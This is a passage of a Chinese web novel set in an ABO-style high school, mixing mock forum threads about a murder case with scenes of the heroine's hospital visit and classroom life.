310L—啊,原来不只我一个人怎么觉得。
311L—萧家的吗?
312L—我草,真是萧晏韵他叔,不是听说官复原职了吗?怎么还在这
……
450L—服了啊,后面跟了好多辆车,堵死了。
451L—笑死,几乎这事发生后,不过五分钟,警察局门口就被车子停满了。
……
491L—消息这么灵怎么不在她被追杀的时候来救她啊现在来毫无作用哈一群马后炮[白眼][白眼]——
作者有话说:不想一个个起论坛名,换个方式
第52章 论坛体【永无宁日】
【妈呀,你们知道昨天被一枪毙命的杀人犯是谁吗?】(hot)「1」「2」「3」……「9」「10」
1L
别去妙妙屋:说出来我都害怕,太恐怖了
2L:lz细嗦
3L:怎么,他身份有什么问题
4L:?难不成家世背景很牛吗反正人都死了
5L:谁啊?
6L:是什么有名的人吗?
7L:警方都没公布的事lz从哪里知道的?
8L:谁?很厉害吗?
9L:服了,lz别钓我胃口,要说快点说
10L:真没时间陪你们闹了,现在就问案件内部人员去[拳头]
11L:哈喽,lz还在吗?
……
56L
别去妙妙屋:回来了回来了,刚刚她从我身边经过,一不小心走神了(话说,经历了这么大的事,真的不在家休息两天吗?怎么第二天就来上学了,感觉脸色不是很好的样子,也不知道去医院做过全身检查没有,有点担心啊),接一下上文,lz闲来无事(好吧,就是故意的)去警察局内部档案里逛了一圈,想看一下杀人犯具体的资料(资料不是绝密,应该几天后就会公布于众),结果
57L:然后呢?
58L:别在这里停啊
59L:结果是什么
60L:人都死了,还有什么地方吓人的?
61L:恐怖在哪里?
62L:服了,lz故意的吧
63L:快说快说
64L:lz讲个事跟便秘一样
65L:结果呢?什么结果,急急急得我上蹿下跳。
……
101L
别去妙妙屋:等等,别急,lz刚刚发现不知道怎么传图,现在在搜索论坛传图教程。
102L:呃……
103L:老人、地铁、手机
104L:……楼主不常用论坛吧,有点小蠢了。
105L:啊啊啊急死我了直接说好不好,有什么图是必须传的吗?
106L:厌蠢症犯了
107L:如果lz是故意的,那么说实话,我已经被你钓的七上八下了。
108L:分享链接「如何在论坛上传图片」
109L:哈喽,楼主看得到吗?这样传图哦
110L:快发呀呀呀呀
111L:啊啊啊啊我受不了了,lz咱俩加个q吧,你把图发我,我帮你传
112L:什么图啊,紧张死我了。
113L:就算是一张图片又有哪里恐怖的,反正人都成尸体了……
114L:合理怀疑lz在钓鱼
115L:快点啊,我就在手机后蹲守了,在你不发图前是哪也不去的。
116L:lz是不是在屏幕后偷笑呢?成功发出一条热帖,吸引了好多注意力呢[竖中指]
……
167L
别去妙妙屋:好了好了,刚刚搞完,累死我了,话说我真不是钓鱼啊,图在下面,懂得都懂
[一张男人证件照]
168L:?这谁啊
169L:不认识
170L:所以标题恐怖在哪里?
171L:我不李姐,怎么就害怕了呢?
172L:emmmm,照片也不恐怖啊,其实细看这凶手长的还蛮帅的(没有为杀人犯辩解的意思,他就该死)
173L:我靠,我他爹竟然觉得这凶手有点眼熟
174L:客观来讲,确实蛮帅,成男冷男,所以恐怖在哪里呀,lz发的也不是尸体图啊
175L:啊啊啊我好像见过凶手啊,怎么越看越眼熟。
176L:这是……
177L:啊
178L:那个……
179L:我的妈呀
180L:好恐怖
181L:真的是那个呀???
182L:不是,我服了,你们打什么哑谜呢?直说不行吗?
183L:谁谁谁,怎么你们认识??
184L:我靠我靠我靠
185L:我他爹怎么完全没印象啊,他很有名吗?哪家的?
186L:啊啊啊啊啊真的是他吗?我服了,吓得我头皮发麻
187L:已经毛骨悚然了
188L:不敢想象,她会多么难过多么伤心
189L:[惊恐][惊恐]
190L:谁来宠宠我呀,我中度脸盲啊,完全认不出
191L:看着像二十大几了,也不是我们学校的呀,怎么这么多人都认识?
192L:好恐怖,刚刚看到这张照片的时候,脑子转了好几秒才反应过来这是谁,然后眼泪就不知不觉流了下来,如果带入一下我自己,亲密的哥哥是个手上五条人命的杀人犯,下个目标是我,还追杀刺杀我,那我一定难过得无法呼吸。
193L:一想到这里,我就觉得枪毙还是对凶手太友好了。
194L:她今天还正常来上学了……
195L:妈呀,好坚强的小女孩
196L:命运为什么要这么玩弄她?
……
223L:啊,所以按照192L的意思来看,这个杀人犯是她哥哥?太抓马了,这是现实,不是拍电影啊
224L:不是,是我理解错了吗?她不是独生子女吗?从哪里冒出来一个哥哥?
225L:我的天啊,回想起来,我见过这个男人不只两三次,每次他都跟她走在一起,他们看上去关系很好很亲密呀。
226L:回224L,确实是哥哥,来校门口接她好几次,她亲口承认过的。
227L:已经觉得毛骨悚然了
228L:“每天来接我上下学的竟是个杀人如麻的家伙”(我们卿卿的校园生活补药从偶像剧改为刑侦剧呀!!)
……
279L:呃,228L你以为你很幽默吗?下回你家人成凶手想杀你就老实了,祝你全家都成为杀人犯想杀你哈。
280L:228傻叉一个——
作者有话说:你们觉得论坛体用“:”还是“——”连接好呢?
连续三天日更啊,我都佩服我自己
第53章 论坛体【梦境天堂】
【谁他爹把梦男梦女小作文发到恋爱纪实杂志去了?????】(hot)「1」「2」「3」……「10」「11」
1L
无语无语真无语:rt
「图片链接:
《遇见她的那一天》
还记得,初见是在一个潮湿的下雨天,雾气朦胧如同梦中,雨水滴洒在肌肤上清清凉凉的化开,她没有撑伞,手捧着一束向日葵,向我走近。
——此后,我每一个雨天都会想到她,亲手在小花园里种满了鲜艳明亮的向日葵花。
“滴答滴答……”手机铃声响起,那是雨水落到绿叶上发出的声音。
我关闭,屏气凝神,潜伏在小区门口等待。
她出来了,看见我,面上惊讶,我赶紧上前招手,装作偶遇跟她走在一起。
绞尽脑汁地、琢磨着每一个她会感兴趣的话题,我希望她能和我多说几句话,我希望能了解她的每一个喜恶,我希望我的装模作样正好能装到她喜欢的点上。
有时候,一段路途是沉默的,我不敢正眼看她,怕显得刻意、别具用心,于是悄悄用余光打量,看她下
俯的眼睫与微微上扬的唇角,看她苍白的脸颊和浓黑的眼瞳。
在别人那里,我有着或褒或贬“聪明”“狡猾”标签,他们说我生着一颗“玲珑心”。
可被这样定义的我却大多时候猜不透她在想什么。
她对我来说,不是一道代解的谜题,而是无形无状的谜本身。
我不会妄想去完全弄懂,做出绝对正确的答案,我愿意等待,在漫长的等待中期待她回头的一刹那。
万家灯火,唯有她与我相关。
……
在一起的那天,是我的生日。
她不喜欢人多噪杂的环境,于是我推拒一切邀约,不去成为宴会上万众瞩目的主角,把礼服当作累赘全然脱下,悄悄藏匿,去当一个逃犯,无暇顾及混乱与探寻,奔跑到一座木桥边。
不管是耳旁呼啸而过的风声,还是潺潺流淌的水声,这一切都掩盖不了狂跳的心脏。
她静静站在那里等候,恍惚间,我以为这是我与她约定私奔的日子。
安静,无尽的安静,我没有去主动打破,我愿意就这样一直安静到世界尽头。
“唔,你还好吗?”没想到,这一次,主动打破寂静的是她。
我知道她询问的是冷天穿着薄衣服的我、脸上挂着红带着汗珠的我,而绝不是心里对她有不轨之心的我。
但是,我看着她,热血涌上大脑,已然不受控了:“我好喜欢你求求你可以和我在一起吗?真的好喜欢喜欢得要死了……”
啊,我在说什么?好像当她跟我对视上,看见她的眼瞳里装着一个小小的我时,脑子里“轰”的一声,什么也顾不着了,那些言语的交锋说话的艺术完全被抛在脑后,嘴里吐出神智不清、胡言乱语的句子。
我等待着法官的审判,我会成为“死刑犯”吗?
唇启之时,便是我此后生或死之日。
微风轻轻拂过她的发丝,擦过我的脸颊,在鼻尖嗅到浅香的时候,她也没有开口——只是,微不可见的轻轻点头,如若梦中的幻影。
“嘭!”喜悦炸成烟花,血肉四溅。
……
家里决定养一只猫,我跟她说:“我还以为你最喜欢的是小狗呢。”
她眨眨眼,脸上带着一丝顽劣的浅笑,凑到我的耳边:“可是家里有你一只小狗就够了呀。”
热意烧到我的脖颈,我吭吭哧哧地说不出话,低头顺着小猫的毛发,装作很忙的样子。
——这是我未和她在一起之前,绝对不会接触到的、如此生动的她。
……
最后
致我亲爱的恋人:
你的忧郁,你的悲伤,可否与我诉说?
你的快乐,你的雀跃,我也想参与其中。
心脏不会骗人,
可你的眼睛却时常对我说谎。
…
浓荫之下,
有一只颤抖的蝴蝶,
我抬眼,
被捕捉进蛛丝般的黑网中。」
2L:啊,代一下
3L:代
4L:谁爽到了我不说
5L:可是……好有代入感啊
6L:心里酸酸涨涨的
7L:狠狠代
8L:好幸福。
9L:作者绝对写爽了……
10L:我靠,写得像真的
11L:阴谋论一下是不是lz写完,发到论坛求夸的
12L:细看还写的挺好……!
13L:作者为什么要把自己狗塑……
14L:代了
15L:回13L:?
16L:回15,我喜欢被猫塑[害羞][害羞]
……
89L:我靠,这期杂志销量就靠这篇小作文了
90L:可谓是销量暴增啊
91L:学校里到底多少人买了呀??
92L:不是,等等,这不是一个批判贴吗?这素在?[疑惑]
93L:笑死,lz本意是批判,没想到梦女梦男全吻上来了
94L:杂志售罄了,梦女梦男恐怖如斯[惊恐]
……
223L:火了
224L:……上热搜了[呆滞][呆滞]
225L:这期杂志销量不都是我们学校人贡献的吗?怎么突然又暴涨这么多
226L:是这文作者买营销了吗???
227L:盖热搜吧,老手段了,用娱乐掩饰政治问题
228L:服了,用什么明星新闻不好,用这个……[无语][白眼]
229L:啊啊啊因果搞错了吧,是小作文先被人发到网上去突然火了,然后被几个大v一齐转了一番,直接火出圈了……
230L:补药火啊[哭泣]
231L:不会有人三次解码吧?!
232L:「评论区
“啊啊啊你们一定要幸福啊”
“暗恋是一段无疾而终之旅,但万幸,你们能在终点相遇”
“呜呜呜,想起自己的青春期了”
“哎,想起因为他一个小举动,心里就兵荒马乱的那些年,还真是令人怀念啊”
“祝福你们!!”」
233L:啊啊啊谁能把那些热搜撤了
234L:被她看到就完了呀我靠神经吧这种东西私下写写就够了
235L:这么假的东西为什么那么多人当真啊我不李姐……——
作者有话说:努力起来我自己都害怕
第54章 没有那个怎么办?!
回到家后,我看到了一张轻飘飘的纸。
——悬挂在头上的达摩克利斯剑落下,我心中盘旋已久的不详的预料终于成真。
凌吾写给我的信件,语言凝练简洁,用词精确,平时阅读速度极快堪称一目十行的我被迫一个字一个字的读,企图发现细微的转机。
好吧,没有。
我不能回去了,我还得努力隐藏自己,注意不被世界意识发现而抹杀——也就是说,我必须要达成的每日kpi更高了。
凌吾没有提不那么做的后果,但我想起上次情绪崩溃生不如死的感受,绝对不想再经历一遍了。
可能是那种征兆出现许久,沉重的石头落在地上,竟给我一种踏实的感觉。
床头一盏小灯亮起,我躺在床上,闭上眼睛。
明天请假的希望落空了,我必须要去上学。
【萧警官:我在门口等你】——7:30
距离我起床看到这条消息的时候已经过去一个小时了。
我似乎忘记了一些事情。
昨天,他盯着我嘴角的血液,似乎说要带我去医院做个全身检查来着?
当时我一门心思都放在凌吾莫名其妙要杀我的举动上,别人说话也没怎么听,心不在焉地随便应了声。
现在,报应来了,我苦着脸对着手机屏幕,为自己的爽约道歉。
【不好意思,警察叔叔,今天起迟了,才看见。(鞠躬)】
萧警官回消息一贯快【没关系,现在来也一样】
逃不掉了吗?我讨厌去医院,医院时而安静得让人害怕,时而噪杂得让人恐慌,我试图挣扎【其实,我感觉我身体挺好的,不用麻烦您再跑一趟了】
【不麻烦,我一直在下面】 ?
他等了一个小时?
【对不起,我马上就下来】
我愧疚得把他的备注改为:很好心又有耐心的警察叔叔。
太长了,前面缩短为:好and耐。
“不好意思,叔叔,让您等了这么久。”我是跑上车的,等会还要去学校,身上穿着校服。
他今天穿着一身便服,却没有减轻几分给人的压力,黑色高领毛衣微微贴身,勾勒出清晰的肌肉线条,眉骨深邃,有种不怒自威的气势。
“不用道歉。”他扫了一眼后视镜,“不请几天假吗?”
我不是很敢跟他多说话,说了声“不了”之后,就默默扭过头,装作看风景的样子。
他带我来的是一家私立医院。
风景很漂亮,绿荫地,湖里还有几只白天鹅,可一想到这是即将要进去的医院,我的心情立马低落起来,就像触发了指令的机器人。
讨厌医院,我低着头,跟在前面高大的身影身后。
没走几步,前面的脚步停住,我抬眼,撞进一双狭长黑沉的眼睛里,慌不着陆地躲开视线。
他向我走近,微微俯下身,像是以为我忧心检查结果不好:“不用担心,这只是一个例行检查而已,每一个刑事案件的受害者都会做的。”
他又牵住我,隔着衣服,轻轻拉住手腕。
我没有抽出手,或许,牵手,真的能缓解焦灼与恐惧。
私立医院的服务很好,奇怪的是,我没在这家医院看到多少病人,一路畅通无阻。
一个上了年纪的女医生帮我抽血的时候,看见我穿着校服,还哄着我:“小同学不要怕哦,记得等会抽血的时候不要动哦,一针下去很快的,不疼的。”
我被这样当小孩哄多少有些尴尬,尤其萧警官还一直陪在我旁边,笔直站着,不远处有座位他也没去坐。
“我不怕打针。”我低声说,然后把衣袖捋上去,伸出胳膊,盯着一根长而细的针刺破皮肤血管,证明自己。
从小到大,不知打过多少次针,抽过多少次血了,一开始再怎么感到害怕也应该麻木了,我尽量忽视每次皮肤被针刺破时的心悸感,要学会习惯。
抽完血后,一旁的护士小姐要帮我用棉签止血,我婉拒了,实在不习惯陌生人离我这么近。
可我按得不专心,没有专注得盯着伤口,脑子里胡思乱想着系统凌吾给我的一封信,不多时,位置移动,一滴血珠挤出来。
外面天气逐渐变冷,医院里开着暖气,可我裸露的手臂依旧是冰冰凉凉的一片。
等我回过神,被一只小麦肤色、骨节分明的大手握住,灼热、粗糙,烫得我一激灵。
手指间溢出一点软肉,他松了些力气,可这不免带来手指的移动。
——唔!我睁大眼睛。
他手上肯定尽是茧子!我在心里控诉。
“同学,下一项在这里。”护士小姐指引我进门,萧警官停留在门前。
里面有一张床,床上是几个大仪器。
这是……
“同学,不用担心哦,平躺上去,不用全脱,只要把衣服拉下去一点就可以了。”女医生温和地引导我。
我紧张地咽咽口水,后退一步。
不是因为羞耻,而是我突然想到自己是地球人,跟abo世界观里的beta身体结构不太一样。
我、没、有、那、个、东、西。
“同学,同学?”抛下医生疑惑的声音,我逃似的奔向门外。
他还站在门口,不玩手机,不聊天,安静等着。
在生死存亡之际,我苦中作乐,脑子里还能冒出一句上辈子网络上的梗“警察叔叔,你有这种定力,你干什么都会成功的”。
“怎么就出来了?”
“我、我不想做检查了。”我刻意不去看他的眼睛。
他盯着我思索几秒,轻声询问:“我们换个医生好不好?”
“不好。”
“那我们先去做下一项可以吗?”
“不要。”
我回答地言简意赅,看似硬气,实际上,他要再多问一句,我的眼泪就要掉下来了,半真半假地要开始撒泼。
在这里没有那个的beta就是个能送进研究所的异类,实话实说,我怕得要命。
“可……”
他没能说完,在第一个字的时候,我眼里酝酿许久的雾气凝成泪珠滴落。
我演技很差,生怕他看出点什么,一直低着头,直到坐上车——
作者有话说:
第55章 可怜的受害者
“可以跟我说一下原因吗?”
去学校的路上,萧警官突兀的询问。
我正在揉湿湿的眼睛,擦去泪光,不知道要不要撒个小谎。
但抬眼对上萧警官后视镜里的目光,明明锐利冷酷,但好像刻意维系着表面的温和,等待着猎物上钩。
我明智地选择保持沉默。
“好吧,不说也没关系。”他轻笑,有些无奈,“有事可以给我打电话,记得不要取下手环就行了。”
手环?
哦,还忘了这个,这也是他昨天送我回家前戴在我手上的,还记得他手腹处的茧子擦得我有疼又痒,难怪前不久他抓着我的手臂,我没有太大的不适感,原来昨天已经铺垫过了。
我盯着记录身体数据的手环发呆。
这手环,跟姜念屿、叶曦他们佩戴的抑制手环好像啊。
*
萧探尘余光盯着后座的beta。
他见过她很多次,说实话,他来这个城市的次数不多,可几乎每一回,都能见到她,而每一次的偶遇都在一桩桩案件里,这实在是奇怪。
奇怪到他忍不住思索,作为一名国际刑警,他见到最多的不应该是罪犯吗?怎么能是一名学生。
她年纪尚轻,眼眸干净纯澈,一举一动还带着学生气儿。
就如同此时,她的眼眶微红,乌黑的睫毛湿湿的黏在一起,细细的手指揉着眼睛,揉得更红,更湿。
一不小心接触到他的目光就立马装作若无其事地移开视线。
他有这么可怕?
若是犯人,那他绝对会威逼着,会强势的盯住不放开。
可是他面对的是一个学生,他只得收敛自己。
就像在医院里一样。
他就轻声问了两句话,她的眼泪就随着睫毛闭合而落下,小小的泪珠摔打在地上,逼得他一下子闭上嘴。
说真的,他自认为已经够收敛,表现的足够温和了。
可是为什么……
他忍不住向后视镜扫了一眼,面色平静的女孩察觉到,嘴唇微不可见地抿紧,左手摸着右手腕上的手环,轻轻撕扯,带出肌肤红色的痕迹。
不疼吗?他看得皱眉,刚想张嘴阻止,又想起她对他莫名的惧怕而把话咽回去。
手环,这是他特地为她准备的,检测身体数据。
毕竟被至亲之人追杀的滋味不是常人能够忍受的,因此而患上精神疾病甚至自杀的人不在少数。
于是案发之后,他就立马找人要了一个,亲手佩戴在她的手腕上。
他确实担心她会产生心理阴影,走向糟糕的结局。
那天晚上,她的脸上尽是闪着白光的泪痕,乌黑的头发散乱得像一团团乌云,可是被救下之后她却没有继续哭,反而呆呆的,像是傻了一样站在原地一动不动,直到他把她拉走。
嘴巴是猩红的,丝丝血液流出,亲手帮她擦掉有些逾越,有些过于亲密了,可看着她的那副样子,他又不忍把她扔给旁人。
父母都在国外,平日一人居住,出了这么大的事,父母一个电话也没打来。他冷着脸用水把纸张打湿,湿纸轻轻接触到血红的嘴唇,红色渗进白纸。
许是冷水激起了她的感官,她的眼睛终于模模糊糊地恢复了些神采。
一清醒过来,便是要见尸体。
他的胳膊上还挎着从不远处捡到的书包,看着她伸来的手,手心带着许被摩擦刮出的擦痕,黑瞳瞳的眼睛夹着未散的水光,实在是可怜。
被这目光裹挟,他被迫握住她的手。
握手对他来说是一件很亲密的关系才能做的事,可是,为被害者破例一次也不是不可以,况且,还隔着衣服,这总归不是那么亲密的举动——
作者有话说:当你心疼一个人的时候,你就完了……真的完了
第56章 番外5“当你成为她的抱枕”(微bi……
【假如你突然成为她的抱枕。】
作为一个抱枕,你必须要岿然不动。
作为一个抱枕,你必须要香软动人。
作为一个抱枕,你必须要心怀感恩。
好了,牢记以下三点,现在,心软的神明,允许了你肮脏的愿望——你如愿成为她的抱枕。
抱枕是没有知觉的,五感尽灭。
可是,谁知道,抱枕里住着一只贪婪的灵魂。
眼睛,那双用尽全力睁大,以至于眼角龟裂布满血丝的双眼,正渴求地扫视着屋内的一切,你看见干净的家具、精美的布置,你感觉到世间一切明亮与温暖。
鼻尖,那只高挺漂亮、不断翕动的鼻子,正努力汲取着这里的气息,你闻见淡淡薄荷的味道、浅浅的果香,你感觉世间一切香甜与美好。
喉咙滚动、口齿生津,你感受着这一切,嘴角裂开一个笑,露出森森白牙,贪婪的鬼魂感知到,幸福,正在向他临近。
现在,只需要等待。
你出其地有耐心,从白天等到黑夜,灵魂装在闭塞的抱枕里,如同死去般,一动不动。
“啪嗒”一声,黑暗的房间被白光灌满,灯亮了。
她回来了。
黑色的书包被随意丢弃,鞋子也随便甩在地上,她连拖鞋也没有穿,赤裸的脚踏在冰凉的地板上。
走动间,你能听到响声,皮肤与木质的地板摩擦的声音,一声接着一声,那颗似乎早已死去的心脏,也随着这声音,“扑通扑通”地跳动,血红的肉发出兴奋的哀鸣。
她打开冰箱,拿出冰镇后的果汁,玻璃瓶上不断冒出水汽,她苍白纤细的手指变的湿润冰冷。
果汁放到沙发前的小茶几上,发出清脆的“嘭”的一声。
你凝视着她,目光痴迷,心跳加快,紧张、饥渴、兴奋淹没你的大脑,完全没有意识到那掩藏在角落中的恐惧。
是的,恐惧。
就像希腊神话中的蛇发妖女,拥有倾国倾城的美貌,任何一个直视她双眼的人都会变成石像。
因爱她而凝视,因基因的沉迷而恐惧,或许,你不怕变成石像,但你一定怕变成石像之后不能在看见她。
她坐在沙发上,软软的沙发下陷了一点,躺在沙发上岿然不动的抱枕也跟着下陷的沙发向她那边倾斜。
她吸了一口吸管,脸颊微微鼓起,乌黑的睫毛垂落,像扫过青台阶上的一层薄雪,果汁被重新放回。
湿润的沾了一点甜果汁、浅粉色唇瓣微张,那一线小缝中,渗出猩红的舌尖与一点雪白的齿,她轻轻地,如同吐出晶莹剔透的花露般美好,泄出一点气息。
你拼命地嗅闻着香气。
她垂下头,落下的黑色卷曲的发丝随意拂到脑后,黑瞳瞳的莹润的眼珠滑到眼尾——她终于记起了自己有一个抱枕。
——一个温暖柔软的抱枕,一个可以随意蹂躏出气的抱枕,一个没有生命不会出声的抱枕。
她从手指尖、小臂到肘心挥过一个美丽的弧度——让抱枕里的灵魂看得入迷。
等回过神,你终于梦寐以求的,被抱进她的怀中。
你的身体不可避免地僵硬,心跳过快,以至于出现微不可见的颤栗。
手指,你渴望用舌头吸吮的手指抚摸上你的脸颊。
小腹,微微带了一点柔软肉的小腹贴近你的胸口。
你靠在她的大腿上,靠在她的胸口上,你被她的气息包裹着。
——你与幸福融为一体——
作者有话说:本来想写的是后面蹂躏那一部分。
但懒得写了,应该也放不出来……
(码这章的时候,电脑上两次冒出隐翅虫,吓到我惊呼)
第57章 论坛体【一波未平】
【别看她了别看她了别看她了别看她了别看她了别看她了别看她了别看她了别看她了别看她了别看她了别看她了别看她了别看她了别看她了别看她了别看她了别看她了】(hot)「1」「2」「3」……「11」「12」
1L
你若安好,便是云天:都他大爷的别盯着她看了,别围观了,以为在看猴子吗?都滚都滚都滚都滚都滚都滚……
2L:赞同……
3L:别看了我说真的
4L:无语了,那么宽敞的道被堵的水泄不通
5L:我也不想看的,可是……
6L:……谁能忍住阿
7L:我不能
8L:我不能
9L:我不能
……
23L::只看一眼……
24L:就看一眼……
25L:真的……一眼
26L:人之常情,不要怪我
27L:人之常情,我不怪你
28L;人之常情,我怪除我以外看她的所有人
……
56L:头发很顺,衣服也很整齐干净,看起来状态还可以,感觉昨天那事对她打击应该不算太大……我靠,不对啊,刚刚老子不小心被后面的人挤到前面去了,差点碰到她,就差一点[脸红][脸红],回归正题,近看感觉她不太好,压抑着什么似的,眼睛水润,眼尾细看有点红,不是前不久哭过,就是昨天哭狠了,到现在还没消[惊恐]
57L:?
58L:她和那个男人关系真的这么好吗?
59L:为他哭,凭什么啊,值得吗?都没有血缘关系……
60L:呜呜呜为什么我一想到她躲在没有人的地方哭了,我的心脏的酸酸的,想跟她一起哭[抱抱]
61L:想把那些让她难过的人都鲨了,可是那个唯一让她难过的人已经在她面前死掉了……
62L:人死不能复生,我听说过一句话,活人是永远无法超越死人的,死去的白月光是真正的、永远的白月光,现在只能许愿她对他的感情没那么深了,不然心头上会永远扎着一根刺的。
……
78L:59L不是,等等,她和那个男人没有血缘关系?不是都说是哥哥吗?
79L:????
……
85L:回78,对,有人查过,她是绝对的独生子女,那个男人是孤儿院长大的,说是哥哥,也只是她对外说辞一直是“哥哥”。
86L:我靠,那不会有什么吧[害怕][害怕]
87L:别瞎想,少造谣
88L:造谣4千加哈
89L:造谣狗滚!
……
132L:你若安好,便是云天:啊啊啊啊啊别歪楼啊啊啊,我他祖宗的只在乎她的感受啊啊啊,她不喜欢被别人围观不喜欢被一直看,你们这群深井冰不知道吗???老子一早就躲进教室了,连窗帘都拉上怕自己忍不住偷偷看她,做出她不喜欢的事情……呜呜呜我才是最爱她的,你们都不配喜欢她……
133L:呃,lz,做人呢,最忌讳的就是自我感动了哈,老子已经出面维持秩序,散开人员了,你在干嘛???
134L:哈哈哈lz只能躲在阴暗的小角落里,而我正在她将会经过的道路装点鲜花
135L:像lz这种我都懒得喷
136L:喂,上面的,我说哪个傻子在道上撒花瓣了,还他爹撒的白花,真不怕她摔倒啊,就是你害的老子在这儿吭哧吭哧地举着扫把扫地!!!
137L:大白天撒白花,谁这么弱智???[无语][无语]
138L:回136,??我没撒花瓣,我弄的是花束,摆的整整齐齐的,香的很,嘿嘿,跟我信息素一样好闻……
139L:呃,自卖自夸还要不要脸了
140L:那个买红玫瑰和向日葵的傻子是你吗?搭配抽死了
141L:到底哪个会在人家伤心的时候买花啊,是安慰还是庆祝好难猜啊[白眼]
142L:嘻嘻,谁要理你们呀,反正我的信息素就是她喜欢的味道哟~
143L:啊lz你在老鼠洞里可能不知道吧,学生会一早就疏散人群了,效率极高,她或许这时候早走到教室了吧。
……
213L:谁懂,我昨天还难过出了这事之后几天都见不到她,结果她今天就来了的救赎感啊
214L:我懂
215L:我懂
216L:真的,感觉看一眼就少一眼,人生总共就那么多天,被学生会的人推搡赶走了,也控制不住一步三回头,再看她一眼……对不起,我有罪
217L:我也有……
218L:人之常情,爱她才不是罪过
……
239L:啊啊啊谁能懂我呜呜,昨天想,她可能不回来,心情很难过:但是她今天来了,我的心情还是很难过,好奇怪啊,自从认识她之后,我的心脏总是沉甸甸的。
240L:因为她的心情不是很好吧,总感觉来也不是自愿来的[无奈]
241L:因见不到她而悲伤,因见到悲伤的她而更加悲伤……我懂这种感觉,她今天身上的忧郁比以前更浓了……
242L:如果说,以前的她是遮天蔽日的浓云天,那么现在她就是快要化云为雨了,我感觉昨天那事对她的改变绝对很大。
……
278L:都别瞎猜了好吗?刚刚问过最有名的塔罗牌了,这是她人生的转折点,此后她会孜孜不倦地向上攀登,她的运势极佳,道路虽有曲折但未来绝对光明。
279L:对啊都别乱讲了,我觉得她难过根本不是为了那个人,今早上她去医院做全身检查了,或许只是因为……我去,不对啊???!!!!
280L:???????我靠,别吓我啊啊,什么不对
281L:……我现在宁愿她是为感情伤心[呆滞][呆滞]
282L:啊啊啊你们别做谜语人好吗?到底怎么啦求求千万不是我想的那样啊啊
283L:我服了,能不能冷静分析一下啊,身体有问题就直接住院了好吗??怎么可能还来上学?[无语][白眼]能不能别咒她了?
284L:妈呀,层主为了否认一个可怕的猜测,提出了一个更可怕的猜测……
……
290L:虽然但是,哪位能弄到体检报告啊,这样心安一点
291L:虽然283L很有说服力,但同意楼上
292L:求体检报告
293L:你若安好,便是云天:同求
294L:求求
……
343L:求!!!——
作者有话说:啊啊宝宝们,迟来的五一快乐呀!!
第58章 青竹叶,竹叶青
我如往常在丝珮叶混日子。
每天掐着点到校,一到放学就迅速离开,片刻不停。
但是,即便我依旧保持着生人勿近的冷漠脸,找我聊天的人也愈来愈多了。
冥冥之中,我察觉到凌吾故意于众目睽睽之下追杀我的策略,这件事被官方媒体报道过,肉眼可见的,整座城市安保加强了不少,监控更加密集,荒凉之地也都紧密开工追加监控。
新闻报道虽没有透露受害者姓名,但我想,很多同学应该都清楚了这事。
不然不会……对我这么热情又小心。
比如说,我一个人坐在食堂吃饭,不多时,那张餐桌就会坐满人。
去学校商店买东西,不管人多还是少,总会留出让我通过的道路。
课间闲暇,我躲在校园角落寻觅安静时,也会出现几个人在我身边不远处,他们不出声,或看手机或看书或写写画画,好似只是偶遇。
我有时会反思自己会不会太自恋了,怎么能把这些明显巧合的东西跟自己联系到一起。
但总在下一秒,这种想法会被推翻。
课间,双眼不经意间抬起,一撇,跟某个同学视线对上,还没装作漫不经心地移动,她率先给我一个傻乎乎的笑容,和煦又明亮。
我愣了愣,学着她,扯起嘴角,回了一个笑容。
心中不免感叹:我的同学,都是好人啊。
因为那件事而在学校主动关心我吗?虽然这份关心对一个社恐来说有些沉重了,但是,我还是挺感谢他们的。
上次换位后,我的同桌从姜念屿变成了鱼竹雨。
同桌嘛,我的关注必不可免的大半都在她身上。
她的字很漂亮,绝对练过,飘逸中又有架构,微微带有凌厉感,写字时,身躯到指尖都似雾林里的青竹,而笔下就是竹叶里开出的花。
青竹叶,竹叶青。
课上,我装作专注地低头看书,实际上百无聊赖地观察着鱼竹雨。
我对她太好奇了,或者说,我对她的脑袋太好奇了。
这种好奇中又杂着一丝复杂的艳羡。
人怎么能这么聪明?回回年级第一,让不让别人活了?
自从进入丝珮叶,第一回考试是全班倒数后,因为脸面,我发奋了一段时间,后两次考试就追到了第八、第五名,那时第一名岿然不动,我没太在意,但到第三次考试后,我第三名,她还是第一。
我的心里不免生出了再努力努力、试试她深浅的意思。
从小到大的成绩给了我盲目的自信,让我觉得好像自己努力就能干倒所有人一样。
于是我因为心底的较劲与不服气努力三个月,三个月,三次考试,永远都是她第一,我第二。
奇耻大辱啊,看着成绩单,我咬着牙,屈服了。
真正的勇士要敢于直面惨淡失败的人生,我说服自己,然后继续躺平摆烂,只要不是班级倒数就行。
她坐得端正,神色认真,低头写字。
我观察的目光不知不觉大胆起来,浅栗色的头发是天生的还是染的呀?她的眼镜片太薄了真的近视了吗?到底在写什么呀感觉老师讲了一堆空话呀?她的手指细细长长的还蛮漂亮诶……
青竹一般分明的手顿住,我微感不妙,视线上移,对上一双含笑明锐的眼睛,眼角到眼尾,延伸生出的形状如竹叶般清晰,荡着透亮水波般的盈盈笑意。
她说:“云卿同学?”看似疑惑,实则那透彻的目光告诉我,她一早知道我在偷瞄她。
这么问,是为了给我留个面子。
我脚趾扣地,心里疯狂呐喊,面上眨眨眼,装模作样:“怎么啦?”
她轻笑着摇摇头,把手底下那几张纸递给我看。
那是几张圣诞舞会的策划案,而鱼竹雨刚刚在上面留意见。
原来,她跟我一样没听课呀!我心底浮起莫名的喜悦,简单看了看就还给了她。
她问:“你觉得哪个方案好?”
我先瞥了一眼老师,还没下课呢,我习惯装样子当认真听讲的好学生了,默默抽出一张便利贴,在上面写字。
「我觉得都还行。」我没认真看也懒得看,不想透露自己敷衍的事实,也不要随便发表意见。
她接过便利贴,对我笑了一下,收进去,没再递给我了。
鱼竹雨是真的喜欢笑呀,她的笑几乎跟姜念屿一样多,但比他浅,如一眼清泉。
如果说他们两人是克制的、腼腆的笑。
那么宿斯漾和萧晏昀就是热烈的、张扬的笑。
一类像水,一类像火。
说起来,那个染着金毛的萧晏昀很久都没看见他了,是因为案件告破凶手死亡,所以他不用每天监视我了吗?
倒是银发的刑珏,见的越来越多了,在我再三思考下,我还是没有推却他的箭术课程,之前是不好意思说,现在就是真的觉得保留一个与人接触的项目挺好的了,毕竟我的每日kpi提高了,而且他话少心好,穿着打扮也不像以往那么潮了,纹身也洗了,教导又十分有耐心,还能赚学分。
kpi和学分,一举两得。
顺便交个朋友,以后放假万一不舒服了给
他打个电话,解决身体问题……
【银发漫画脸箭术老师A—邢珏:明天下午三点可以吗?】
【可以的】——
作者有话说:
